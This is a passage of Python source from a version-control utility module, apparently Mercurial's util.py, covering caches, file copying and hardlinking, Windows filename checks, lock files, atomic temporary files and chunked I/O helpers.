         self._size += 1
         return node
 
     def _enforcecostlimit(self):
         # This should run after an insertion. It should only be called if total
         # cost limits are being enforced.
         # The most recently inserted node is never evicted.
         if len(self) <= 1 or self.totalcost <= self.maxcost:
             return
 
         # This is logically equivalent to calling popoldest() until we
         # free up enough cost. We don't do that since popoldest() needs
         # to walk the linked list and doing this in a loop would be
         # quadratic. So we find the first non-empty node and then
         # walk nodes until we free up enough capacity.
         #
         # If we only removed the minimum number of nodes to free enough
         # cost at insert time, chances are high that the next insert would
         # also require pruning. This would effectively constitute quadratic
         # behavior for insert-heavy workloads. To mitigate this, we set a
         # target cost that is a percentage of the max cost. This will tend
         # to free more nodes when the high water mark is reached, which
         # lowers the chances of needing to prune on the subsequent insert.
         targetcost = int(self.maxcost * 0.75)
 
         n = self._head.prev
         while n.key is _notset:
             n = n.prev
 
         while len(self) > 1 and self.totalcost > targetcost:
             del self._cache[n.key]
             self.totalcost -= n.cost
             n.markempty()
             n = n.prev
 
 
 def lrucachefunc(func):
     '''cache most recent results of function calls'''
     cache = {}
     order = collections.deque()
     if func.__code__.co_argcount == 1:
 
         def f(arg):
             if arg not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[arg] = func(arg)
             else:
                 order.remove(arg)
             order.append(arg)
             return cache[arg]
 
     else:
 
         def f(*args):
             if args not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[args] = func(*args)
             else:
                 order.remove(args)
             order.append(args)
             return cache[args]
 
     return f
 
 
 class propertycache(object):
     def __init__(self, func):
         self.func = func
         self.name = func.__name__
 
     def __get__(self, obj, type=None):
         result = self.func(obj)
         self.cachevalue(obj, result)
         return result
 
     def cachevalue(self, obj, value):
         # __dict__ assignment required to bypass __setattr__ (eg: repoview)
         obj.__dict__[self.name] = value
 
 
 def clearcachedproperty(obj, prop):
     '''clear a cached property value, if one has been set'''
     prop = pycompat.sysstr(prop)
     if prop in obj.__dict__:
         del obj.__dict__[prop]
 
 
 def increasingchunks(source, min=1024, max=65536):
     '''return no less than min bytes per chunk while data remains,
     doubling min after each chunk until it reaches max'''
 
     def log2(x):
         if not x:
             return 0
         i = 0
         while x:
             x >>= 1
             i += 1
         return i - 1
 
     buf = []
     blen = 0
     for chunk in source:
         buf.append(chunk)
         blen += len(chunk)
         if blen >= min:
             if min < max:
                 min = min << 1
                 nmin = 1 << log2(blen)
                 if nmin > min:
                     min = nmin
                 if min > max:
                     min = max
             yield b''.join(buf)
             blen = 0
             buf = []
     if buf:
         yield b''.join(buf)
 
 
 def always(fn):
     return True
 
 
 def never(fn):
     return False
 
 
 def nogc(func):
     """disable garbage collector
 
     Python's garbage collector triggers a GC each time a certain number of
     container objects (the number being defined by gc.get_threshold()) are
     allocated even when marked not to be tracked by the collector. Tracking has
     no effect on when GCs are triggered, only on what objects the GC looks
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
     This garbage collector issue have been fixed in 2.7. But it still affect
     CPython's performance.
     """
 
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
         try:
             return func(*args, **kwargs)
         finally:
             if gcenabled:
                 gc.enable()
 
     return wrapper
 
 
 if pycompat.ispypy:
     # PyPy runs slower with gc disabled
     nogc = lambda x: x
 
 
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
     n1 should use os.sep to separate directories
     n2 should use "/" to separate directories
     returns an os.sep-separated path.
 
     If n1 is a relative path, it's assumed it's
     relative to root.
     n2 should always be relative to root.
     '''
     if not n1:
         return localpath(n2)
     if os.path.isabs(n1):
         if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
             return os.path.join(root, localpath(n2))
         n2 = b'/'.join((pconvert(root), n2))
     a, b = splitpath(n1), n2.split(b'/')
     a.reverse()
     b.reverse()
     while a and b and a[-1] == b[-1]:
         a.pop()
         b.pop()
     b.reverse()
     return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
 
 
 # the location of data files matching the source code
 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != b'macosx_app':
     # executable version (py2exe) doesn't support __file__
     datapath = os.path.dirname(pycompat.sysexecutable)
 else:
     datapath = os.path.dirname(pycompat.fsencode(__file__))
 
 i18n.setdatapath(datapath)
 
 
 def checksignature(func):
     '''wrap a function with code to check for calling errors'''
 
     def check(*args, **kwargs):
         try:
             return func(*args, **kwargs)
         except TypeError:
             if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
                 raise error.SignatureError
             raise
 
     return check
 
 
 # a whilelist of known filesystems where hardlink works reliably
 _hardlinkfswhitelist = {
     b'apfs',
     b'btrfs',
     b'ext2',
     b'ext3',
     b'ext4',
     b'hfs',
     b'jfs',
     b'NTFS',
     b'reiserfs',
     b'tmpfs',
     b'ufs',
     b'xfs',
     b'zfs',
 }
 
 
 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
     '''copy a file, preserving mode and optionally other stat info like
     atime/mtime
 
     checkambig argument is used with filestat, and is useful only if
     destination file is guarded by any lock (e.g. repo.lock or
     repo.wlock).
 
     copystat and checkambig should be exclusive.
     '''
     assert not (copystat and checkambig)
     oldstat = None
     if os.path.lexists(dest):
         if checkambig:
             oldstat = checkambig and filestat.frompath(dest)
         unlink(dest)
     if hardlink:
         # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
         # unless we are confident that dest is on a whitelisted filesystem.
         try:
             fstype = getfstype(os.path.dirname(dest))
         except OSError:
             fstype = None
         if fstype not in _hardlinkfswhitelist:
             hardlink = False
     if hardlink:
         try:
             oslink(src, dest)
             return
         except (IOError, OSError):
             pass  # fall back to normal copy
     if os.path.islink(src):
         os.symlink(os.readlink(src), dest)
         # copytime is ignored for symlinks, but in general copytime isn't needed
         # for them anyway
     else:
         try:
             shutil.copyfile(src, dest)
             if copystat:
                 # copystat also copies mode
                 shutil.copystat(src, dest)
             else:
                 shutil.copymode(src, dest)
                 if oldstat and oldstat.stat:
                     newstat = filestat.frompath(dest)
                     if newstat.isambig(oldstat):
                         # stat of copied file is ambiguous to original one
                         advanced = (
                             oldstat.stat[stat.ST_MTIME] + 1
                         ) & 0x7FFFFFFF
                         os.utime(dest, (advanced, advanced))
         except shutil.Error as inst:
             raise error.Abort(str(inst))
 
 
 def copyfiles(src, dst, hardlink=None, progress=None):
     """Copy a directory tree using hardlinks if possible."""
     num = 0
 
     def settopic():
         if progress:
             progress.topic = _(b'linking') if hardlink else _(b'copying')
 
     if os.path.isdir(src):
         if hardlink is None:
             hardlink = (
                 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
             )
         settopic()
         os.mkdir(dst)
         for name, kind in listdir(src):
             srcname = os.path.join(src, name)
             dstname = os.path.join(dst, name)
             hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
             num += n
     else:
         if hardlink is None:
             hardlink = (
                 os.stat(os.path.dirname(src)).st_dev
                 == os.stat(os.path.dirname(dst)).st_dev
             )
         settopic()
 
         if hardlink:
             try:
                 oslink(src, dst)
             except (IOError, OSError):
                 hardlink = False
                 shutil.copy(src, dst)
         else:
             shutil.copy(src, dst)
         num += 1
         if progress:
             progress.increment()
 
     return hardlink, num
 
 
 _winreservednames = {
     b'con',
     b'prn',
     b'aux',
     b'nul',
     b'com1',
     b'com2',
     b'com3',
     b'com4',
     b'com5',
     b'com6',
     b'com7',
     b'com8',
     b'com9',
     b'lpt1',
     b'lpt2',
     b'lpt3',
     b'lpt4',
     b'lpt5',
     b'lpt6',
     b'lpt7',
     b'lpt8',
     b'lpt9',
 }
 _winreservedchars = b':*?"<>|'
 
 
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
     >>> checkwinfilename(b"just/a/normal/path")
     >>> checkwinfilename(b"foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/xml.con")
     >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
     >>> checkwinfilename(b"foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
     >>> checkwinfilename(b"../bar")
     >>> checkwinfilename(b"foo\\")
     "filename ends with '\\', which is invalid on Windows"
     >>> checkwinfilename(b"foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith(b'\\'):
         return _(b"filename ends with '\\', which is invalid on Windows")
     if b'\\/' in path:
         return _(b"directory name ends with '\\', which is invalid on Windows")
     for n in path.replace(b'\\', b'/').split(b'/'):
         if not n:
             continue
         for c in _filenamebytestr(n):
             if c in _winreservedchars:
                 return (
                     _(
                         b"filename contains '%s', which is reserved "
                         b"on Windows"
                     )
                     % c
                 )
             if ord(c) <= 31:
                 return _(
                     b"filename contains '%s', which is invalid " b"on Windows"
                 ) % stringutil.escapestr(c)
         base = n.split(b'.')[0]
         if base and base.lower() in _winreservednames:
             return (
                 _(b"filename contains '%s', which is reserved " b"on Windows")
                 % base
             )
         t = n[-1:]
         if t in b'. ' and n not in b'..':
             return (
                 _(
                     b"filename ends with '%s', which is not allowed "
                     b"on Windows"
                 )
                 % t
             )
 
 
 if pycompat.iswindows:
     checkosfilename = checkwinfilename
     timer = time.clock
 else:
     checkosfilename = platform.checkosfilename
     timer = time.time
 
 if safehasattr(time, "perf_counter"):
     timer = time.perf_counter
 
 
 def makelock(info, pathname):
     """Create a lock file atomically if possible
 
     This may leave a stale lock file if symlink isn't supported and signal
     interrupt is enabled.
     """
     try:
         return os.symlink(info, pathname)
     except OSError as why:
         if why.errno == errno.EEXIST:
             raise
     except AttributeError:  # no symlink in os
         pass
 
     flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
     ld = os.open(pathname, flags)
     os.write(ld, info)
     os.close(ld)
 
 
 def readlock(pathname):
     try:
         return readlink(pathname)
     except OSError as why:
         if why.errno not in (errno.EINVAL, errno.ENOSYS):
             raise
     except AttributeError:  # no symlink in os
         pass
     with posixfile(pathname, b'rb') as fp:
         return fp.read()
 
 
 def fstat(fp):
     '''stat file object that may not have fileno method.'''
     try:
         return os.fstat(fp.fileno())
     except AttributeError:
         return os.stat(fp.name)
 
 
 # File system features
 
 
 def fscasesensitive(path):
     """
     Return true if the given path is on a case-sensitive filesystem
 
     Requires a path (like /foo/.hg) ending with a foldable final
     directory component.
     """
     s1 = os.lstat(path)
     d, b = os.path.split(path)
     b2 = b.upper()
     if b == b2:
         b2 = b.lower()
         if b == b2:
             return True  # no evidence against case sensitivity
     p2 = os.path.join(d, b2)
     try:
         s2 = os.lstat(p2)
         if s2 == s1:
             return False
         return True
     except OSError:
         return True
 
 
 try:
     import re2
 
     _re2 = None
 except ImportError:
     _re2 = False
 
 
 class _re(object):
     def _checkre2(self):
         global _re2
         try:
             # check if match works, see issue3964
             _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
         except ImportError:
             _re2 = False
 
     def compile(self, pat, flags=0):
         '''Compile a regular expression, using re2 if possible
 
         For best performance, use only re2-compatible regexp features. The
         only flags from the re module that are re2-compatible are
         IGNORECASE and MULTILINE.'''
         if _re2 is None:
             self._checkre2()
         if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
             if flags & remod.IGNORECASE:
                 pat = b'(?i)' + pat
             if flags & remod.MULTILINE:
                 pat = b'(?m)' + pat
             try:
                 return re2.compile(pat)
             except re2.error:
                 pass
         return remod.compile(pat, flags)
 
     @propertycache
     def escape(self):
         '''Return the version of escape corresponding to self.compile.
 
         This is imperfect because whether re2 or re is used for a particular
         function depends on the flags, etc, but it's the best we can do.
         '''
         global _re2
         if _re2 is None:
             self._checkre2()
         if _re2:
             return re2.escape
         else:
             return remod.escape
 
 
 re = _re()
 
 _fspathcache = {}
 
 
 def fspath(name, root):
     '''Get name in the case stored in the filesystem
 
     The name should be relative to root, and be normcase-ed for efficiency.
 
     Note that this function is unnecessary, and should not be
     called, for case-sensitive filesystems (simply because it's expensive).
 
     The root should be normcase-ed, too.
     '''
 
     def _makefspathcacheentry(dir):
         return dict((normcase(n), n) for n in os.listdir(dir))
 
     seps = pycompat.ossep
     if pycompat.osaltsep:
         seps = seps + pycompat.osaltsep
     # Protect backslashes. This gets silly very quickly.
     seps.replace(b'\\', b'\\\\')
     pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
     dir = os.path.normpath(root)
     result = []
     for part, sep in pattern.findall(name):
         if sep:
             result.append(sep)
             continue
 
         if dir not in _fspathcache:
             _fspathcache[dir] = _makefspathcacheentry(dir)
         contents = _fspathcache[dir]
 
         found = contents.get(part)
         if not found:
             # retry "once per directory" per "dirstate.walk" which
             # may take place for each patches of "hg qpush", for example
             _fspathcache[dir] = contents = _makefspathcacheentry(dir)
             found = contents.get(part)
 
         result.append(found or part)
         dir = os.path.join(dir, part)
 
     return b''.join(result)
 
 
 def checknlink(testfile):
     '''check whether hardlink count reporting works properly'''
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
     f1, f2, fp = None, None, None
     try:
         fd, f1 = pycompat.mkstemp(
             prefix=b'.%s-' % os.path.basename(testfile),
             suffix=b'1~',
             dir=os.path.dirname(testfile),
         )
         os.close(fd)
         f2 = b'%s2~' % f1[:-2]
 
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
         fp = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
         if fp is not None:
             fp.close()
         for f in (f1, f2):
             try:
                 if f is not None:
                     os.unlink(f)
             except OSError:
                 pass
 
 
 def endswithsep(path):
     '''Check path ends with os.sep or os.altsep.'''
     return (
         path.endswith(pycompat.ossep)
         or pycompat.osaltsep
         and path.endswith(pycompat.osaltsep)
     )
 
 
 def splitpath(path):
     '''Split path by os.sep.
     Note that this function does not use os.altsep because this is
     an alternative of simple "xxx.split(os.sep)".
     It is recommended to use os.path.normpath() before using this
     function if need.'''
     return path.split(pycompat.ossep)
 
 
 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
     """Create a temporary file with the same contents from name
 
     The permission bits are copied from the original file.
 
     If the temporary file is going to be truncated immediately, you
     can use emptyok=True as an optimization.
 
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
     fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
     # its mode.  Otherwise, manually obey umask.
     copymode(name, temp, createmode, enforcewritable)
 
     if emptyok:
         return temp
     try:
         try:
             ifp = posixfile(name, b"rb")
         except IOError as inst:
             if inst.errno == errno.ENOENT:
                 return temp
             if not getattr(inst, 'filename', None):
                 inst.filename = name
             raise
         ofp = posixfile(temp, b"wb")
         for chunk in filechunkiter(ifp):
             ofp.write(chunk)
         ifp.close()
         ofp.close()
     except:  # re-raises
         try:
             os.unlink(temp)
         except OSError:
             pass
         raise
     return temp
 
 
 class filestat(object):
     """help to exactly detect change of a file
 
     'stat' attribute is result of 'os.stat()' if specified 'path'
     exists. Otherwise, it is None. This can avoid preparative
     'exists()' examination on client side of this class.
     """
 
     def __init__(self, stat):
         self.stat = stat
 
     @classmethod
     def frompath(cls, path):
         try:
             stat = os.stat(path)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             stat = None
         return cls(stat)
 
     @classmethod
     def fromfp(cls, fp):
         stat = os.fstat(fp.fileno())
         return cls(stat)
 
     __hash__ = object.__hash__
 
     def __eq__(self, old):
         try:
             # if ambiguity between stat of new and old file is
             # avoided, comparison of size, ctime and mtime is enough
             # to exactly detect change of a file regardless of platform
             return (
                 self.stat.st_size == old.stat.st_size
                 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
                 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
             )
         except AttributeError:
             pass
         try:
             return self.stat is None and old.stat is None
         except AttributeError:
             return False
 
     def isambig(self, old):
         """Examine whether new (= self) stat is ambiguous against old one
 
         "S[N]" below means stat of a file at N-th change:
 
         - S[n-1].ctime  < S[n].ctime: can detect change of a file
         - S[n-1].ctime == S[n].ctime
           - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
           - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
           - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
         - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
 
         Case (*2) above means that a file was changed twice or more at
         same time in sec (= S[n-1].ctime), and comparison of timestamp
         is ambiguous.
 
         Base idea to avoid such ambiguity is "advance mtime 1 sec, if
         timestamp is ambiguous".
 
         But advancing mtime only in case (*2) doesn't work as
         expected, because naturally advanced S[n].mtime in case (*1)
         might be equal to manually advanced S[n-1 or earlier].mtime.
 
         Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
         treated as ambiguous regardless of mtime, to avoid overlooking
         by confliction between such mtime.
 
         Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
         S[n].mtime", even if size of a file isn't changed.
         """
         try:
             return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
         except AttributeError:
             return False
 
     def avoidambig(self, path, old):
         """Change file stat of specified path to avoid ambiguity
 
         'old' should be previous filestat of 'path'.
 
         This skips avoiding ambiguity, if a process doesn't have
         appropriate privileges for 'path'. This returns False in this
         case.
 
         Otherwise, this returns True, as "ambiguity is avoided".
         """
         advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
         try:
             os.utime(path, (advanced, advanced))
         except OSError as inst:
             if inst.errno == errno.EPERM:
                 # utime() on the file created by another user causes EPERM,
                 # if a process doesn't have appropriate privileges
                 return False
             raise
         return True
 
     def __ne__(self, other):
         return not self == other
 
 
 class atomictempfile(object):
     '''writable file object that atomically updates a file
 
     All writes will go to a temporary copy of the original file. Call
     close() when you are done writing, and atomictempfile will rename
     the temporary copy to the original name, making the changes
     visible. If the object is destroyed without being closed, all your
     writes are discarded.
 
     checkambig argument of constructor is used with filestat, and is
     useful only if target file is guarded by any lock (e.g. repo.lock
     or repo.wlock).
     '''
 
     def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
         self.__name = name  # permanent name
         self._tempname = mktempcopy(
             name,
             emptyok=(b'w' in mode),
             createmode=createmode,
             enforcewritable=(b'w' in mode),
         )
 
         self._fp = posixfile(self._tempname, mode)
         self._checkambig = checkambig
 
         # delegated methods
         self.read = self._fp.read
         self.write = self._fp.write
         self.seek = self._fp.seek
         self.tell = self._fp.tell
         self.fileno = self._fp.fileno
 
     def close(self):
         if not self._fp.closed:
             self._fp.close()
             filename = localpath(self.__name)
             oldstat = self._checkambig and filestat.frompath(filename)
             if oldstat and oldstat.stat:
                 rename(self._tempname, filename)
                 newstat = filestat.frompath(filename)
                 if newstat.isambig(oldstat):
                     # stat of changed file is ambiguous to original one
                     advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
                     os.utime(filename, (advanced, advanced))
             else:
                 rename(self._tempname, filename)
 
     def discard(self):
         if not self._fp.closed:
             try:
                 os.unlink(self._tempname)
             except OSError:
                 pass
             self._fp.close()
 
     def __del__(self):
         if safehasattr(self, '_fp'):  # constructor actually did something
             self.discard()
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalue, traceback):
         if exctype is not None:
             self.discard()
         else:
             self.close()
 
 
 def unlinkpath(f, ignoremissing=False, rmdir=True):
     """unlink and remove the directory if it is empty"""
     if ignoremissing:
         tryunlink(f)
     else:
         unlink(f)
     if rmdir:
         # try removing directories that might now be empty
         try:
             removedirs(os.path.dirname(f))
         except OSError:
             pass
 
 
 def tryunlink(f):
     """Attempt to remove a file, ignoring ENOENT errors."""
     try:
         unlink(f)
     except OSError as e:
         if e.errno != errno.ENOENT:
             raise
 
 
 def makedirs(name, mode=None, notindexed=False):
     """recursive directory creation with parent mode inheritance
 
     Newly created directories are marked as "not to be indexed by
     the content indexing service", if ``notindexed`` is specified
     for "write" mode access.
     """
     try:
         makedir(name, notindexed)
     except OSError as err:
         if err.errno == errno.EEXIST:
             return
         if err.errno != errno.ENOENT or not name:
             raise
         parent = os.path.dirname(os.path.abspath(name))
         if parent == name:
             raise
         makedirs(parent, mode, notindexed)
         try:
             makedir(name, notindexed)
         except OSError as err:
             # Catch EEXIST to handle races
             if err.errno == errno.EEXIST:
                 return
             raise
     if mode is not None:
         os.chmod(name, mode)
 
 
 def readfile(path):
     with open(path, b'rb') as fp:
         return fp.read()
 
 
 def writefile(path, text):
     with open(path, b'wb') as fp:
         fp.write(text)
 
 
 def appendfile(path, text):
     with open(path, b'ab') as fp:
         fp.write(text)
 
 
 class chunkbuffer(object):
     """Allow arbitrary sized chunks of data to be efficiently read from an
     iterator over chunks of arbitrary size."""
 
     def __init__(self, in_iter):
         """in_iter is the iterator that's iterating over the input chunks."""
 
         def splitbig(chunks):
             for chunk in chunks:
                 if len(chunk) > 2 ** 20:
                     pos = 0
                     while pos < len(chunk):
                         end = pos + 2 ** 18
                         yield chunk[pos:end]
                         pos = end
                 else:
                     yield chunk
 
         self.iter = splitbig(in_iter)
         self._queue = collections.deque()
         self._chunkoffset = 0
 
     def read(self, l=None):
         """Read L bytes of data from the iterator of chunks of data.
         Returns less than L bytes if the iterator runs dry.
 
         If size parameter is omitted, read everything"""
         if l is None:
             return b''.join(self.iter)
 
         left = l
         buf = []
         queue = self._queue
         while left > 0:
             # refill the queue
             if not queue:
                 target = 2 ** 18
                 for chunk in self.iter:
                     queue.append(chunk)
                     target -= len(chunk)
                     if target <= 0:
                         break
                 if not queue:
                     break
 
             # The easy way to do this would be to queue.popleft(), modify the
             # chunk (if necessary), then queue.appendleft(). However, for cases
             # where we read partial chunk content, this incurs 2 dequeue
             # mutations and creates a new str for the remaining chunk in the
             # queue. Our code below avoids this overhead.
 
             chunk = queue[0]
             chunkl = len(chunk)
             offset = self._chunkoffset
 
             # Use full chunk.
             if offset == 0 and left >= chunkl:
                 left -= chunkl
                 queue.popleft()
                 buf.append(chunk)
                 # self._chunkoffset remains at 0.
                 continue
 
             chunkremaining = chunkl - offset
 
             # Use all of unconsumed part of chunk.
             if left >= chunkremaining:
                 left -= chunkremaining
                 queue.popleft()
                 # offset == 0 is enabled by block above, so this won't merely
                 # copy via ``chunk[0:]``.
                 buf.append(chunk[offset:])
                 self._chunkoffset = 0
 
             # Partial chunk needed.
             else:
                 buf.append(chunk[offset : offset + left])
                 self._chunkoffset += left
                 left -= chunkremaining
 
         return b''.join(buf)
 
 
 def filechunkiter(f, size=131072, limit=None):
     """Create a generator that produces the data in the file size
     (default 131072) bytes at a time, up to optional limit (default is
     to read all data).  Chunks may be less than size bytes if the
     chunk is the last chunk in the file, or the file is a socket or
     some other type of file that sometimes reads less data than is
     requested."""
     assert size >= 0
     assert limit is None or limit >= 0
     while True:
         if limit is None:
             nbytes = size
         else:
             nbytes = min(limit, size)
         s = nbytes and f.read(nbytes)
         if not s:
             break
         if limit:
             limit -= len(s)
         yield s
 
 
 class cappedreader(object):
     """A file object proxy that allows reading up to N bytes.
 
     Given a source file object, instances of this type allow reading up to
     N bytes from that source file object. Attempts to read past the allowed
     limit are treated as EOF.
 
     It is assumed that I/O is not performed on the original file object
     in addition to I/O that is performed by this instance. If there is,
     state tracking will get out of sync and unexpected results will ensue.
     """
 
     def __init__(self, fh, limit):
         """Allow reading up to <limit> bytes from <fh>."""
         self._fh = fh
         self._left = limit
 
     def read(self, n=-1):
         if not self._left:
             return b''
 
         if n < 0:
             n = self._left
 
         data = self._fh.read(min(n, self._left))
         self._left -= len(data)
         assert self._left >= 0
 
         return data
 
     def readinto(self, b):
         res = self.read(len(b))
         if res is None:
             return None
 
         b[0 : len(res)] = res
         return len(res)
 
 
 def unitcountfn(*unittable):
     '''return a function that renders a readable count of some quantity'''
 
     def go(count):
         for multiplier, divisor, format in unittable:
             if abs(count) >= divisor * multiplier:
                 return format % (count / float(divisor))
         return unittable[-1][2] % count
 
     return go
 
 
 def processlinerange(fromline, toline):
     """Check that linerange <fromline>:<toline> makes sense and return a
     0-based range.
 
     >>> processlinerange(10, 20)
     (9, 20)
     >>> processlinerange(2, 1)
     Traceback (most recent call last):
         ...
     ParseError: line range must be positive
     >>> processlinerange(0, 5)
     Traceback (most recent call last):
         ...
     ParseError: fromline must be strictly positive
     """
     if toline - fromline < 0:
         raise error.ParseError(_(b"line range must be positive"))
     if fromline < 1:
         raise error.ParseError(_(b"fromline must be strictly positive"))
     return fromline - 1, toline
 
 
 bytecount = unitcountfn(
     (100, 1 << 30, _(b'%.0f GB')),
     (10, 1 << 30, _(b'%.1f GB')),
     (1, 1 << 30, _(b'%.2f GB')),
     (100, 1 << 20, _(b'%.0f MB')),
     (10, 1 << 20, _(b'%.1f MB')),
     (1, 1 << 20, _(b'%.2f MB')),
     (100, 1 << 10, _(b'%.0f KB')),
     (10, 1 << 10, _(b'%.1f KB')),
     (1, 1 << 10, _(b'%.2f KB')),
     (1, 1, _(b'%.0f bytes')),
 )
 
 
 class transformingwriter(object):
     """Writable file wrapper to transform data by function"""
 
     def __init__(self, fp, encode):
         self._fp = fp
         self._encode = encode
 
     def close(self):
         self._fp.close()
 
     def flush(self):
         self._fp.flush()
 
     def write(self, data):
         return self._fp.write(self._encode(data))
 
 
 # Matches a single EOL which can either be a CRLF where repeated CR
 # are removed or a LF. We do not care about old Macintosh files, so a
 # stray CR is an error.
 _eolre = remod.compile(br'\r*\n')
 
 
 def tolf(s):
     return _eolre.sub(b'\n', s)
 
 
 def tocrlf(s):
     return _eolre.sub(b'\r\n', s)
 
 
 def _crlfwriter(fp):
     return transformingwriter(fp, tocrlf)
 
 
 if pycompat.oslinesep == b'\r\n':
     tonativeeol = tocrlf
     fromnativeeol = tolf
     nativeeolwriter = _crlfwriter
 else:
     tonativeeol = pycompat.identity
     fromnativeeol = pycompat.identity
     nativeeolwriter = pycompat.identity
 
 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
     3,
     0,
 ):
     # There is an issue in CPython that some IO methods do not handle EINTR
     # correctly. The following table shows what CPython version (and functions)
     # are affected (buggy: has the EINTR bug, okay: otherwise):
     #
     #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
     #   --------------------------------------------------
     #    fp.__iter__ | buggy   | buggy           | okay
     #    fp.read*    | buggy   | okay [1]        | okay
     #
     # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
     #
     # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
     # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
     #
     # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
     # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
     # CPython 2, because CPython 2 maintains an internal readahead buffer for
     # fp.__iter__ but not other fp.read* methods.
     #
     # On modern systems like Linux, the "read" syscall cannot be interrupted
     # when reading "fast" files like on-disk files. So the EINTR issue only
     # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
     # files approximately as "fast" files and use the fast (unsafe) code path,
     # to minimize the performance impact.
     if sys.version_info >= (2, 7, 4):
         # fp.readline deals with EINTR correctly, use it as a workaround.
         def _safeiterfile(fp):
             return iter(fp.readline, b'')
 
     else:
         # fp.read* are broken too, manually deal with EINTR in a stupid way.
         # note: this may block longer than necessary because of bufsize.
         def _safeiterfile(fp, bufsize=4096):
             fd = fp.fileno()
             line = b''
             while True:
                 try:
                     buf = os.read(fd, bufsize)
                 except OSError as ex:
                     # os.read only raises EINTR before any data is read
                     if ex.errno == errno.EINTR:
                         continue
                     else:
                         raise
                 line += buf
                 if b'\n' in buf:
                     splitted = line.splitlines(True)
                     line = b''
                     for l in splitted:
                         if l[-1] == b'\n':
                             yield l
                         else:
                             line = l
                 if not buf:
                     break
             if line:
                 yield line
 
     def iterfile(fp):
         fastpath = True
         if type(fp) is file:
             fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
         if fastpath:
             return fp
         else:
             return _safeiterfile(fp)
 
 
 else:
     # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
     def iterfile(fp):
         return fp
 
 
 def iterlines(iterator):
     for chunk in iterator:
         for line in chunk.splitlines():
             yield line
 
 
 def expandpath(path):
     return os.path.expanduser(os.path.expandvars(path))
 
 
 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
     """Return the result of interpolating items in the mapping into string s.
 
     prefix is a single character string, or a two character string with
     a backslash as the first character if the prefix needs to be escaped in
     a regular expression.
 
     fn is an optional function that will be applied to the replacement text
     just before replacement.
 
     escape_prefix is an optional flag that allows using doubled prefix for
     its escaping.
     """
     fn = fn or (lambda s: s)
     patterns = b'|'.join(mapping.keys())
     if escape_prefix:
         patterns += b'|' + prefix
         if len(prefix) > 1:
             prefix_char = prefix[1:]
         else:
             prefix_char = prefix
         mapping[prefix_char] = prefix_char
     r = remod.compile(br'%s(%s)' % (prefix, patterns))
     return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
 
 
 def getport(port):
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(pycompat.sysstr(port))
     except socket.error:
         raise error.Abort(
             _(b"no port number associated with service '%s'") % port
         )
 
 
